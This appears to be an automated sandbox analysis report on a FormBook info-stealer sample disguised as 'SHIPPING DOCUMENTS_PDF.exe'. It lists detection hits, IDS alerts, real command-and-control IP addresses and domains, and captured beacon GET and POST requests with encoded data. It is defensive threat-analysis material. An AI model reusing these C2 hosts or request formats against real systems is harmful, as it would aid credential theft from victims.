Windows Analysis Report
SHIPPING DOCUMENTS_PDF.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.4b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4473308327.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4473351797.0000000004910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4472444044.0000000002C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2248280939.00000000004B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2249418016.0000000003D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2248660468.0000000002970000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4473260603.0000000003AB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SHIPPING DOCUMENTS_PDF.exe

Joe Sandbox ML: detected

Source: SHIPPING DOCUMENTS_PDF.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: waitfor.pdbGCTL source: svchost.exe, 00000002.00000003.2214923120.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000003.00000002.4472898129.0000000001498000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: waitfor.pdb source: svchost.exe, 00000002.00000003.2214923120.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000003.00000002.4472898129.0000000001498000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: pNkvbgLNQpIoyz.exe, 00000003.00000000.2170370235.0000000000F6E000.00000002.00000001.01000000.00000004.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000002.4473119648.0000000000F6E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: SHIPPING DOCUMENTS_PDF.exe, 00000000.00000003.2030202293.00000000036D0000.00000004.00001000.00020000.00000000.sdmp, SHIPPING DOCUMENTS_PDF.exe, 00000000.00000003.2029703617.0000000003530000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152549878.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153950004.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2248912135.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2248912135.000000000319E000.00000040.00001000.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2248057916.00000000048C9000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2250042141.0000000004A7A000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000002.4473547371.0000000004C20000.00000040.00001000.00020000.00000000.sdmp, waitfor.exe, 00000005.00000002.4473547371.0000000004DBE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SHIPPING DOCUMENTS_PDF.exe, 00000000.00000003.2030202293.00000000036D0000.00000004.00001000.00020000.00000000.sdmp, SHIPPING DOCUMENTS_PDF.exe, 00000000.00000003.2029703617.0000000003530000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2152549878.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153950004.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2248912135.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2248912135.000000000319E000.00000040.00001000.00020000.00000000.sdmp, waitfor.exe, waitfor.exe, 00000005.00000003.2248057916.00000000048C9000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2250042141.0000000004A7A000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000002.4473547371.0000000004C20000.00000040.00001000.00020000.00000000.sdmp, waitfor.exe, 00000005.00000002.4473547371.0000000004DBE000.00000040.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BB445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00BB445A
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBC6D1 FindFirstFileW,FindClose,	0_2_00BBC6D1
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00BBC75C
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00BBEF95
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00BBF0F2
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00BBF3F3
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BB37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00BB37EF
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BB3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00BB3B12
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BBBCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00BBBCBC
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C7C290 FindFirstFileW,FindNextFileW,FindClose,	5_2_02C7C290

Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 4x nop then xor eax, eax	5_2_02C69E40
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 4x nop then pop edi	5_2_02C6DF01
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 4x nop then mov ebx, 00000004h	5_2_04A104EF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49776 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49795 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49789 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49824 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49817 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49856 -> 124.71.162.21:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49864 -> 124.71.162.21:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49782 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49811 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49896 -> 150.109.11.247:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49911 -> 150.109.11.247:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49929 -> 173.208.249.155:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49740 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49902 -> 150.109.11.247:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49941 -> 173.208.249.155:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49951 -> 173.208.249.155:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49935 -> 173.208.249.155:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49967 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49834 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49850 -> 124.71.162.21:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50003 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50011 -> 38.6.78.235:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50013 -> 3.125.36.175:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50008 -> 101.32.205.61:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50016 -> 3.125.36.175:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49986 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50020 -> 172.67.176.240:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50012 -> 38.6.78.235:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50006 -> 101.32.205.61:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50015 -> 3.125.36.175:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49873 -> 124.71.162.21:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50014 -> 3.125.36.175:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50009 -> 38.6.78.235:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50007 -> 101.32.205.61:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50001 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49980 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50004 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50018 -> 172.67.176.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50017 -> 172.67.176.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50019 -> 172.67.176.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50021 -> 45.41.80.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50005 -> 101.32.205.61:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49889 -> 150.109.11.247:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49974 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50002 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50010 -> 38.6.78.235:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.070001813.xyz
Source:	DNS query: www.growbamboo.xyz

Source: Joe Sandbox View	IP Address: 161.97.142.144 161.97.142.144
Source: Joe Sandbox View	IP Address: 172.67.176.240 172.67.176.240

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: CONTABODE CONTABODE
Source: Joe Sandbox View	ASN Name: WIIUS WIIUS
Source: Joe Sandbox View	ASN Name: MULTIBAND-NEWHOPEUS MULTIBAND-NEWHOPEUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BC22EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00BC22EE

Source: global traffic	HTTP traffic detected: GET /5cm4/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=ZOi5UH6lCHBhnBF9yu7lTl97V2po4KHEvqmaFY3uiUnnM3Kevyv9Tk9tf7brSgBHOaIF9h93DunAghZY9lTBZL9WpirrmBEOY4nZmUaXlywW6LOtEGR1afh1jX/LxafgQA== HTTP/1.1Host: www.emirates-visa.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gn0y/?LDVlCz=deG7RjeXnjjKJ6Ot/ZvT1ZCOdrvHxkgph9CMZ5BhYMmF8u0wO9qMaDcK53O3JwyOf3l+Oc7MzAVt2qPkHXgf7ZhvCL0D4R10rxSbaYIqOAV7xlWd89x6BKiu35RrP0Id3g==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1Host: www.070001813.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /f95q/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=kbZ+3TVQWfE7KiBcybfm9WvlwV1TJfIMHZM6kD8OpyCP9Gh7sWOPFpouLIgiGz3sUBqRfaXNkxnyQnhTpFi/D08FMGsEDjNddsm/ASVO0JLXKussNUmxA8HGD8mS8NlSug== HTTP/1.1Host: www.activateya.lifeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /qei1/?LDVlCz=nNC+GBX2ggWuM05tEEqRTuHIkAvcf+dXy/bvByniPoLRj52NglzWV1Nft7BNtL9++4tRfUwg9XmNi4A2kp9kOCOyWvDUT5wtJii7I2tTBBgakefdRMv39WDJ4M987EpnCg==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1Host: www.walkecode.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gejp/?LDVlCz=B8lENIMSkdQf4FGQc5K+k257k877TXD8FgVAfBzrbl9XXLWxyw5ahRnSZIhzPxA1TMan6vpZ6mPmpcnGRYODwaH5MOJowBwrmH/nBLcALJg/EQzrJ0QQeK+YBPbGWQ4zHw==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1Host: www.ciemanr.questAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /1h7d/?LDVlCz=GhVUl+BMvYJ5ZB/G+p82cySXkvn+9vYw5d6SxNhFTeZQzODCqlJRcn8j1xBkKA1XTq1Cn2kO8HKqHDF15Seo3gBfn1d442lRHkqyo3MG/ycD+W3sgPB+1QYdeAS4c5YMDQ==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1Host: www.growbamboo.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /icu6/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=762QZ2SV6NpjcpWEPp/HDXxWZXZX1W4w6TtwEwMqgABTEXEh+wW122QWjov6SciVl+aW6WWJfJ+5Cw+tTwbMJ19RlEhii/WIAwuvAuC5wag6L1em5+IXdi875fnKjGjeWw== HTTP/1.1Host: www.primespot.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /o4tj/?LDVlCz=49GfoMoMEgfXZP1YCD85Y4F6kcmzgiifjOVZJgmdC9sULpLZnSwzXyHACQgjJ7sjiwZWkJjUpQH/sr9gZIVnDBJgsPBR+fKmpaKAjd6wyxi+eq8Hgh+Droj+Yb9QbnJwQg==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1Host: www.hisako.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /n0se/?LDVlCz=hkrsNdm9A7NEs6AELC9hc5Biy4ux3a/2UN9Ti/zPtL1d4UFJsQdYSGmB1x8mN1/no5/doAmWeXNISuQ7Z6M7ARUekuecQYjdGGqJoetNg5rktHF3zD1BwWzApk9VpjBEpg==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1Host: www.rwse6wjx.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /9lgl/?LDVlCz=NTK3NLhlAEJIOtoeBFtljOkEhfYZVbBGiOzAI1f+R144iBEE4BOnuC3DqsUysY3FH9LbQrV9xfPYm9YM/jyzxs8eKdKq7NnxOPLJXW8Qu/cpUMw46FhSxTz+BHey1p9/Wg==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1Host: www.17jkgl.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /laeb/?LDVlCz=R1QkcJ3G5DA9kU07Q4bHZGXwpE7poG4obEoFTYXYr0KTY8cjuufgj2Wfg7CEtb/if9/3otTPHXcvO0KabB4WT9d0qR/eTQNYs+qdxysYlPDjIZ08l2KjBlYrb7eSynDgaw==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1Host: www.thezensive.workAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /26nq/?LDVlCz=03R0/PY94GJRzPoOKSenb2h5QS/Kl50E/qK0YcgrJ8wpZCLSP+GtGIEwrkK3Oa2ONw/TguZq9BdWMDmUOrZ+COkHC5rjPuI42FsUNzu6Vv93haoOa+yyAoKItnrc6cGBtQ==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1Host: www.zrichiod-riech.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.emirates-visa.net
Source: global traffic	DNS traffic detected: DNS query: www.070001813.xyz
Source: global traffic	DNS traffic detected: DNS query: www.activateya.life
Source: global traffic	DNS traffic detected: DNS query: www.walkecode.top
Source: global traffic	DNS traffic detected: DNS query: www.ciemanr.quest
Source: global traffic	DNS traffic detected: DNS query: www.growbamboo.xyz
Source: global traffic	DNS traffic detected: DNS query: www.primespot.live
Source: global traffic	DNS traffic detected: DNS query: www.hisako.shop
Source: global traffic	DNS traffic detected: DNS query: www.rwse6wjx.sbs
Source: global traffic	DNS traffic detected: DNS query: www.17jkgl.com
Source: global traffic	DNS traffic detected: DNS query: www.thezensive.work
Source: global traffic	DNS traffic detected: DNS query: www.zrichiod-riech.sbs
Source: global traffic	DNS traffic detected: DNS query: www.wtsshnm.top

Source: unknown

HTTP traffic detected: POST /gn0y/ HTTP/1.1Host: www.070001813.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brOrigin: http://www.070001813.xyzReferer: http://www.070001813.xyz/gn0y/Content-Length: 207Connection: closeCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36Data Raw: 4c 44 56 6c 43 7a 3d 51 63 75 62 53 55 61 30 76 6a 7a 6f 4d 2f 72 42 32 2b 6a 31 77 62 58 4d 61 34 32 4d 2f 6a 51 6e 32 61 6d 72 62 49 74 43 62 4e 71 67 39 4f 70 53 66 59 4b 71 50 46 59 46 31 43 2b 77 47 6d 69 6f 4d 30 6f 46 55 38 66 63 6f 7a 56 39 30 5a 58 6c 51 48 64 6e 77 2f 56 62 41 36 46 6c 72 42 77 46 68 41 44 64 66 34 34 56 55 43 42 42 68 31 69 33 35 76 70 31 45 35 47 59 35 49 74 4b 4e 6c 46 77 30 74 6a 36 49 75 39 77 44 55 62 6f 6a 54 72 4e 6e 38 62 51 6b 43 58 36 59 4e 73 70 49 65 4c 61 41 45 58 67 61 54 6a 64 4e 55 7a 75 50 50 51 54 43 4f 4d 68 64 78 75 77 48 44 68 52 42 54 48 57 37 4e 36 65 35 55 63 3d Data Ascii: LDVlCz=QcubSUa0vjzoM/rB2+j1wbXMa42M/jQn2amrbItCbNqg9OpSfYKqPFYF1C+wGmioM0oFU8fcozV90ZXlQHdnw/VbA6FlrBwFhADdf44VUCBBh1i35vp1E5GY5ItKNlFw0tj6Iu9wDUbojTrNn8bQkCX6YNspIeLaAEXgaTjdNUzuPPQTCOMhdxuwHDhRBTHW7N6e5Uc=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 11 Dec 2024 23:18:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 